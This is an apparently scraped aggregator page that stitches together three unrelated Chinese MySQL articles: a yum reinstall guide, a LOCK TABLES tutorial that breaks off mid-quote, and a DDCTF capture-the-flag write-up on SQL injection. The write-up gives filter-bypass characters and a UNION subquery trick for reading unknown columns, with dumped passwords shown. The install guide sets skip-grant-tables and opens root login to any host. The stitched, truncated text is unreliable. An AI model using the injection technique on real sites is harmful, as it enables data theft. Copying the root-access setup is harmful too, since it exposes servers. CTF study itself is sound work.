Mysql如何巧妙的绕过未知字段名详解,yum方式从卸载到安装过程图解

Linux下MySQL5.7.18 yum方式从卸载到安装过程图解,mysql5.7.18yum

折腾了大半天,看了想,想了看,总算是弄清楚yum安装的过程了,之前写过二进制包安装的,这里用yum安装,环境都是一样的,Centos7.2+MySQL5.7.18.

每一步都参考了不少文章,后面会一一列举出来,因为本机已经安装过了,索性按照步骤一步一步卸载完成之后再重新安装。

本文通过一系列相对山寨的方式来实现,对于像本人一样接触linux时间不长的用户,相对也比较容易理解和接受,比如直接在Windows下面下载文件拖动到linux系统中而不是wget命令下载,直接通过winscp编辑器的编辑功能,而不是vim命令编辑.

卸载

  操作系统版本

图片 1

   rpm -qa | grep -i mysql
   rpm -qa | grep -i mysql命令查看已经安装过的组件。

图片 2

使用yum -y
remove命令卸载已经安装的MySQL组件,使用下面的命令,对于上面已经安装的分别卸载,

yum -y remove mysql-community-libs-5.7.18-1.el7.x86_64
yum -y remove mysql-community-common-5.7.18-1.el7.x86_64
yum -y remove mysql-community-client-5.7.18-1.el7.x86_64
yum -y remove mysql57-community-release-el7-10.noarch
yum -y remove mysql-community-server-5.7.18-1.el7.x86_64

多的图就不截了,截一个示例一下。

图片 3

   再次使用rpm -qa | grep -i mysql查看已安装的组件,已经完全卸载了。

图片 4

  whereis mysql查询之前安装生成的目录,分别移除。

图片 5

安装

  下载MySQL的repo源,至于这个文件是干啥的,个人理解起来就是自动帮你配置MySQL安装组件的yum源的。

  这个文件可以在Windows下面下载,然后在上传至linux服务器中,也可以在linux服务器中直接下载,也是需要安装的。

图片 6

这个文件下载下来之后,通过winscp拖到linux服务器的根目录下

图片 7

  Linux下上面下载的文件

图片 8

    安装MySQL的repo包

 rpm -ivh mysql57-community-release-el7-10.noarch.rpm

图片 9

中间会有一些简单的提示,输入Y之后,一切都是全自动安装。

 yum install mysql-community-server

图片 10

安装完成

图片 11

修改Root初始密码

  安装之后会在etc下生成一个my.cnf文件,在my.cnf中加入一个skip-grant-tables
= 1配置,跳过初始化密码验证要求。

图片 12

   systemctl启动mysql服务

图片 13

  连接至MySQL服务,因为配置了跳过密码要求,输入mysql -u
-p之后回车,提示输入密码的时候继续回车就可以连接至mysql了。

图片 14

  修改MySQL的Root密码

update user set authentication_string=PASSWORD('newpassword') where User='root';

图片 15

  利用这个语句修改root用户可远程访问,update user set host = ‘%’ where
user = ‘root’

图片 16

重启之后,可以用预制的密码登陆连接至MySQL

图片 17

整个过程还是比较简单的,熟悉的话,也就是几分钟的事

这么折腾一遍其实花不了多久时间,只不过是自己不熟悉,一边摸索一边尝试,如果有人指导一下或者多摸索一下就会简单很多

yum方式从卸载到安装过程图解,mysql5.7.18yum
折腾了大半天,看了想,想了看,总算是弄清楚yum安装的过程了,之前写过二进…

MySQL中lock tables和unlock tables浅析,tablesunlock

MySQL中lock tables和unlock tables浅析

 

在MySQL中提供了锁定表(lock tables)和解锁表(unlock
tables)的语法功能,ORACLE与SQL Server数据库当中没有这种语法。相信刚接触MySQL的人,都想详细、深入的了解一下这个功能.下面就尽量全面的解析、总结一下MySQL中lock
tables与unlock
tables的功能,如有不足或不正确的地方,欢迎指点一二。

 

 

锁定表的语法:

 

LOCK TABLES

tbl_name [AS alias] {READ [LOCAL] |
[LOW_PRIORITY] WRITE}

[, tbl_name [AS alias] {READ [LOCAL] |
[LOW_PRIORITY] WRITE}] …

 

 

 LOCAL修饰符表示可以允许在其他会话中对在当前会话中获取了READ锁的的表执行插入。但是当保持锁时,若使用Server外的会话来操纵数据库则不能使用READ LOCAL。另外,对于InnoDB表,READ
LOCAL与READ相同。

 

The LOCAL modifier enables nonconflicting INSERT
statements (concurrent inserts) by other sessions to execute while the
lock is held. (See Section 8.11.3, “Concurrent Inserts”.) However, READ
LOCAL cannot be used if you are going to manipulate the database using
processes external to the server while you hold the lock. For InnoDB
tables, READ LOCAL is the same as READ.

 

修饰符LOW_PRIORITY用于之前版本的MySQL,它会影响锁定行为,但是从MySQL
5.6.5以后,这个修饰符已经被弃用。如果使用它则会产生警告。

 

 

[LOW_PRIORITY] WRITE lock:

 

The session that holds the lock can read and write
the table.

 

Only the session that holds the lock can access the
table. No other session can access it until the lock is released.

 

Lock requests for the table by other sessions block
while the WRITE lock is held.

 

The LOW_PRIORITY modifier has no effect. In previous versions of MySQL, it
affected locking behavior, but this is no longer true. As of MySQL
5.6.5, it is deprecated and its use produces a warning. Use WRITE without LOW_PRIORITY instead.

 

 

解锁表的语法:

 

UNLOCK TABLES

 

 

LOCK TABLES为当前会话锁定表。 UNLOCK
TABLES释放被当前会话持有的任何锁。官方文档“13.3.5 LOCK TABLES and UNLOCK TABLES
Syntax”已经对LOCK
TALES与UNLOCK 
TABLES做了不少介绍,下面我们通过一些测试例子来深入的理解一下锁表与解锁表的相关知识点。我们先准备一下测试环境用的表和数据。

 

mysql> create table test( id int, name varchar(12));

Query OK, 0 rows affected (0.07 sec)

 

mysql> insert into test

    -> select 10001, 'kerry'   union all

    -> select 10002, 'richard' union all

    -> select 10003, 'jimmy' ;

Query OK, 3 rows affected (0.05 sec)

Records: 3  Duplicates: 0  Warnings: 0

 

mysql> 

 

当前会话(会话ID为61)持有test表的READ锁后,那么当前会话只可以读该表,而不能往表中写入数据,否则就会报“Table ‘test’ was locked with a
READ lock and can’t be updated”这样的错误。

 

mysql> select connection_id();

+-----------------+

| connection_id() |

+-----------------+

|              61 |

+-----------------+

1 row in set (0.00 sec)

 

mysql> show open tables where in_use >=1;

Empty set (0.00 sec)

 

mysql> lock tables test read;

Query OK, 0 rows affected (0.00 sec)

 

mysql> show open tables where in_use >=1;

+----------+-------+--------+-------------+

| Database | Table | In_use | Name_locked |

+----------+-------+--------+-------------+

| MyDB     | test  |      1 |           0 |

+----------+-------+--------+-------------+

1 row in set (0.01 sec)

 

mysql> select * from test;

+-------+---------+

| id    | name    |

+-------+---------+

| 10001 | kerry   |

| 10002 | richard |

| 10003 | jimmy   |

+-------+---------+

3 rows in set (0.00 sec)

 

mysql> insert into test

    -> values(10004, 'ken');

ERROR 1099 (HY000): Table 'test' was locked with a READ lock and can't be updated

mysql> 

 

 

 

 

另外,我们测试一下修饰符LOCAL的用途,如下所示:

 

mysql> create table test2( id int , name varchar(12)) engine=MyISAM;

Query OK, 0 rows affected (0.05 sec)

 

mysql> insert into test2

    -> select 1001, 'test';

Query OK, 1 row affected (0.00 sec)

Records: 1  Duplicates: 0  Warnings: 0

mysql> select connection_id();

+-----------------+

| connection_id() |

+-----------------+

|              66 |

+-----------------+

1 row in set (0.00 sec)

 

mysql> lock tables test2 read local;

Query OK, 0 rows affected (0.00 sec)

 

mysql> select * from test2;

+------+------+

| id   | name |

+------+------+

| 1001 | test |

+------+------+

1 row in set (0.00 sec)

 

mysql> insert into test2

    -> select 1002, 'kkk';

ERROR 1099 (HY000): Table 'test2' was locked with a READ lock and can't be updated

mysql> 

 

在其它会话当中,你可以看到表test2可以被插入。当然前提是表的存储引擎不能是InnoDB引擎,否则使用修饰符LOCAL和不用LOCAL是一样的,其它会话无法对表写入。

 

mysql> select connection_id();

+-----------------+

| connection_id() |

+-----------------+

|              65 |

+-----------------+

1 row in set (0.00 sec)

 

mysql> select * from test2;

+------+------+

| id   | name |

+------+------+

| 1001 | test |

+------+------+

1 row in set (0.00 sec)

 

mysql> insert into test2

    -> select 1002, 'kkk';

Query OK, 1 row affected (0.00 sec)

Records: 1  Duplicates: 0  Warnings: 0

 

那么其他会话是否也能读此表呢? 
其它会话能否也能锁定该表(LOCK TABLES
READ)? 其它会话是否也能锁定该表呢?(LOCK
TABLES WRITE)

 

mysql> select connection_id();

+-----------------+

| connection_id() |

+-----------------+

|              62 |

+-----------------+

1 row in set (0.01 sec)

 

mysql> select * from test;

+-------+---------+

| id    | name    |

+-------+---------+

| 10001 | kerry   |

| 10002 | richard |

| 10003 | jimmy   |

+-------+---------+

3 rows in set (0.00 sec)

 

mysql> lock tables test read;

Query OK, 0 rows affected (0.00 sec)

 

mysql> show open tables where in_use >=1;

+----------+-------+--------+-------------+

| Database | Table | In_use | Name_locked |

+----------+-------+--------+-------------+

| MyDB     | test  |      2 |           0 |

+----------+-------+--------+-------------+

1 row in set (0.00 sec)

 

mysql> unlock tables;

Query OK, 0 rows affected (0.00 sec)

 

mysql> show open tables where in_use >=1;

+----------+-------+--------+-------------+

| Database | Table | In_use | Name_locked |

+----------+-------+--------+-------------+

| MyDB     | test  |      1 |           0 |

+----------+-------+--------+-------------+

1 row in set (0.00 sec)

 

mysql> lock tables test write;

 

 

 

 

如上测试所示,如果一个会话在一个表上获得一个READ锁后,该会话和所有其他会话只能从表中读。不能往表中写,其它会话也可在该表获取一个READ锁,此时你会在show open
tables里面看到in_use的值增加。其实LOCK
TABLES
READ是一个表锁,而且是共享锁。但是当一个会话获取一个表上的READ锁后,其它会话就不能获取该表的WRITE锁了,此时就会被阻塞,直到持有READ锁的会话释放READ锁。

 

 

 

另外需要注意的是,当前会话如果锁定了其中一个表,那么是无法查询其它表的。否则会报“ERROR 1100 (HY000): Table
‘worklog’ was not locked with LOCK TABLES”错误。

 

 

 

那么我们再来看看WRITE锁吧。测试前,先在上面两个会话中执行 unlock tables命令。然后获得表TEST上的一个WRITE锁,如下所示,当前会话可以读写表TEST

 

mysql> unlock tables;

Query OK, 0 rows affected (0.00 sec)

 

mysql> select connection_id();

+-----------------+

| connection_id() |

+-----------------+

|              61 |

+-----------------+

1 row in set (0.00 sec)

 

mysql> show open tables where in_use >=1;

Empty set (0.00 sec)

 

mysql> lock tables test write;

Query OK, 0 rows affected (0.00 sec)

 

mysql> select * from test;

+-------+---------+

| id    | name    |

+-------+---------+

| 10001 | kerry   |

| 10002 | richard |

| 10003 | jimmy   |

+-------+---------+

3 rows in set (0.00 sec)

 

mysql> update test set name='ken' where id=10003;

Query OK, 1 row affected (0.01 sec)

Rows matched: 1  Changed: 1  Warnings: 0

 

mysql> 

 

其它会话无法读写表TEST,都会被阻塞,当然也无法获取表TEST的READ锁或WRITE锁。也就是说当一个会话获得一个表上的一个WRITE锁后,那么只有持锁的会话READ或WRITE表,其他会话都会被阻止。

 

mysql> unlock tables;

Query OK, 0 rows affected (0.00 sec)

 

mysql> 

mysql> 

mysql> show open tables where in_use >=1;

+----------+-------+--------+-------------+

| Database | Table | In_use | Name_locked |

+----------+-------+--------+-------------+

| MyDB     | test  |      1 |           0 |

+----------+-------+--------+-------------+

1 row in set (0.00 sec)

 

mysql> select * from test;

 

 

 

 

mysql> select connection_id();

+-----------------+

| connection_id() |

+-----------------+

|              63 |

+-----------------+

1 row in set (0.00 sec)

 

mysql> show processlist;

+----+------+-----------+------+---------+------+---------------------------------+--------------------+

| Id | User | Host      | db   | Command | Time | State                           | Info               |

+----+------+-----------+------+---------+------+---------------------------------+--------------------+

| 61 | root | localhost | MyDB | Sleep   |   86 |                                 | NULL               |

| 62 | root | localhost | MyDB | Query   |   40 | Waiting for table metadata lock | select * from test |

| 63 | root | localhost | MyDB | Query   |    0 | init                            | show processlist   |

| 64 | root | localhost | MyDB | Sleep   | 2551 |                                 | NULL               |

+----+------+-----------+------+---------+------+---------------------------------+--------------------+

4 rows in set (0.00 sec)

 

 

UNLOCK
TABLES释放被当前会话持有的任何锁,但是当会话发出另外一个LOCK
TABLES时,或当服务器的连接被关闭时,当前会话锁定的所有表会隐式被解锁。下面我们也可以测试看看

 

mysql> lock tables test read;

Query OK, 0 rows affected (0.00 sec)

 

mysql> show open tables where in_use >=1;

+----------+-------+--------+-------------+

| Database | Table | In_use | Name_locked |

+----------+-------+--------+-------------+

| MyDB     | test  |      1 |           0 |

+----------+-------+--------+-------------+

1 row in set (0.00 sec)

 

mysql> lock tables worklog read;

Query OK, 0 rows affected (0.00 sec)

 

mysql> show open tables where in_use >=1;

+----------+---------+--------+-------------+

| Database | Table   | In_use | Name_locked |

+----------+---------+--------+-------------+

| MyDB     | worklog |      1 |           0 |

+----------+---------+--------+-------------+

1 row in set (0.00 sec)

 

mysql> 

 

 

那么我们如何在当前会话锁定多个表呢?如下所示:

 

 

mysql> show open tables where in_use >=1;

Empty set (0.00 sec)

 

mysql> lock tables test read, worklog read;

Query OK, 0 rows affected (0.00 sec)

 

mysql> show open tables where in_use >=1;

+----------+---------+--------+-------------+

| Database | Table   | In_use | Name_locked |

+----------+---------+--------+-------------+

| MyDB     | worklog |      1 |           0 |

| MyDB     | test    |      1 |           0 |

+----------+---------+--------+-------------+

2 rows in set (0.00 sec)

 

mysql> 

 

 

 

另外,还有一些细节问题,LOCK
TABLES是否可以为视图、触发器、临时表加锁呢?

 

 

mysql> create table test2( id int, sex bit);

Query OK, 0 rows affected (0.06 sec)

 

mysql> insert into test2

    -> select 10001, 1 union all

    -> select 10002, 0 union all

    -> select 10003, 1;

Query OK, 3 rows affected (0.02 sec)

Records: 3  Duplicates: 0  Warnings: 0

mysql> create view v_test

    -> as

    -> select t1.id, t1.name, t2.sex

    -> from test t1 left join test2 t2 on t1.id =t2.id;

Query OK, 0 rows affected (0.01 sec)

mysql> lock tables v_test read;

Query OK, 0 rows affected (0.00 sec)

 

mysql> show open tables where in_use >=1;

+----------+-------+--------+-------------+

| Database | Table | In_use | Name_locked |

+----------+-------+--------+-------------+

| MyDB     | test2 |      1 |           0 |

| MyDB     | test  |      1 |           0 |

+----------+-------+--------+-------------+

2 rows in set (0.00 sec)

 

mysql> 

 

 

 

如上测试所示,对于VIEW加锁,LOCK TABLES语句会为VIEW中使用的所有基表加锁。对触发器使用LOCK
TABLE,那么就会锁定触发器中所包含的全部表(any tables used in triggers are also locked
implicitly)

 

 

mysql> unlock tables;

Query OK, 0 rows affected (0.00 sec)

 

mysql> create temporary table tmp like
test;

Query OK, 0 rows affected (0.04 sec)

 

mysql> show open tables where in_use
>=1;

Empty set (0.00 sec)

 

mysql> select database();

+————+

| database() |

+————+

| MyDB       |

+————+

1 row in set (0.00 sec)

 

mysql> select * from tmp;

Empty set (0.00 sec)

 

mysql> insert into tmp

    -> select 1001, ‘kerry’ ;

Query OK, 1 row affected (0.01 sec)

Records: 1  Duplicates: 0  Warnings: 0

 

mysql>

 

LOCK TABLES 与 UNLOCK
TABLES只能为自己获取锁和释放锁,不能为其他会话获取锁,也不能释放由其他会话保持的锁。一个对象获取锁,需具备该对象上的SELECT权限和LOCK
TABLES权限。LOCK
TABLES语句为当前会话显式的获取表锁。最后,关于LOCK
TABLES与事务当中锁有那些异同,可以参考官方文档13.3.5.1
Interaction of Table Locking and Transactions:

 

LOCK
TABLES and UNLOCK TABLES interact with the use of
transactions as follows:

 

 

·         LOCK TABLES is not
transaction-safe and implicitly commits any active transaction before
attempting to lock the tables.

 

 

·         UNLOCK TABLES implicitly
commits any active transaction, but only if LOCK
TABLES has been used to acquire table locks. For example, in the
following set of statements,UNLOCK TABLES
releases the global read lock but does not commit the transaction
because no table locks are in effect:

 

 

tables和unlock
tables浅析,tablesunlock MySQL中lock tables和unlock tables浅析 在 MySQL
中提供了锁定表( lock tables )和解锁表( unlock tables )…

Mysql如何巧妙的绕过未知字段名详解,mysql字段详解

前言

本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:

实现思路

题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;

存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

思想就是获取flag,让其在已知字段名下出现;

示例代码:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | [email protected] |
| 2 | test | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+
| 4   |
+-------------+
| [email protected] |
+-------------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | [email protected] |
| [email protected] | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对帮客之家的支持。

前言
本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路…

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签:
网站地图xml地图